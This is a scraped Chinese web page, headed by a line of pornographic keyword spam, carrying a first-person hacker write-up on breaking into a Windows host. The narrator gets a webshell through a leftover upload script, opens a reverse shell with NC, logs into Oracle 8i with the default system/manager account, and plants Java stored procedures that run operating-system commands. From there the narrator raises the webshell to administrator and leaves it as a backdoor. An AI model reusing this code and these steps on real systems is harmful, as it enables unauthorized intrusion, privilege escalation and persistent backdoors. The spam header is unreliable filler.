日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
通過oracle默認賬戶提升權(quán)限的實現(xiàn)方法

在oracle數(shù)據(jù)庫中,通過oracle默認賬戶也是可以提升訪問權(quán)限的,下文就為您介紹一個通過oracle默認賬戶提升權(quán)限的例子,希望可以讓您對數(shù)據(jù)庫安全性方面有所啟迪:

創(chuàng)新互聯(lián)建站主營周至網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,成都APP應(yīng)用開發(fā),周至h5小程序定制開發(fā)搭建,周至網(wǎng)站營銷推廣歡迎周至等地區(qū)企業(yè)咨詢

近日,偶到一主機上逛了一圈。主機的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.asp,結(jié)果輕輕松松的得到了webshell。

接著在主機上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user\程序目錄里,發(fā)現(xiàn)有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務(wù),發(fā)現(xiàn)一般的可提權(quán)的方法都不可行,無SERV-U等等,主機的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。

在C盤下看到一個目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機的服務(wù)名“xxx”,看了下版本“oracle 8i”,用數(shù)據(jù)庫連接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx試了下默認的system賬戶,密碼manager,結(jié)果真的就連接到了本地的oracle服務(wù)。

這下好了,oracle默認賬戶就像是mssql下的sa,我們來通過他來提升權(quán)限,馬上編輯了幾個腳本。

1.

 
 
 
  1. sql create or replace and compilejava source named "Util"asimport java.io.*.
  2. import java.lang.*. 
  3. public class Util extends Object{public static int RunThis(String args)
  4. {
  5. Runtime rt = Runtime.getRuntime().
  6. int rc = -1. 
  7. try{Process p = rt.exec(args).
  8. int bufSize = 4096.
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).
  10. int len.byte buffer[] = new byte[bufSize].
  11. // Echo back what the program spit out
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)
  13. System.out.write(buffer, 0, len). 
  14. rc = p.waitFor().
  15. }
  16. catch (Exception e)
  17. {
  18. e.printStackTrace().
  19. rc = -1.
  20. }
  21. finally{return rc.
  22. }
  23. }
  24. }

2.

 
 
 
  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)
  2. return numberaslanguage javaname Util.RunThis(java.lang.String) 
  3. return integer.

3.

 
 
 
  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.
  2. beginx := run_cmd(p_cmd).
  3. end.

保存在c:\下,然后用反連接得到的shell運行 sqlplus system/manager@xxx然后再來執(zhí)行腳本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已創(chuàng)建、函數(shù)已創(chuàng)建、過程已創(chuàng)建,接著我們繼續(xù) SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授權(quán)成功。

接著我們就可以來執(zhí)行系統(tǒng)命令了。我想先把ASP.dll加入特權(quán)一組 SQL>exec ???? := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到過程已經(jīng)成功完成,這個時候我們重新登陸我們的webshell,他已經(jīng)具有admin權(quán)限了。接著,再用NC返回一個shell,已經(jīng)是管理權(quán)限的,我們可以做我們想干的事了。因為這個主機有防火墻過濾除80以外的端口,所以不好做圖形的后門,只有留下一有權(quán)限的webshell。到此已經(jīng)提權(quán)成功。


網(wǎng)頁題目:通過oracle默認賬戶提升權(quán)限的實現(xiàn)方法
網(wǎng)站網(wǎng)址:http://www.5511xx.com/article/cdhjjog.html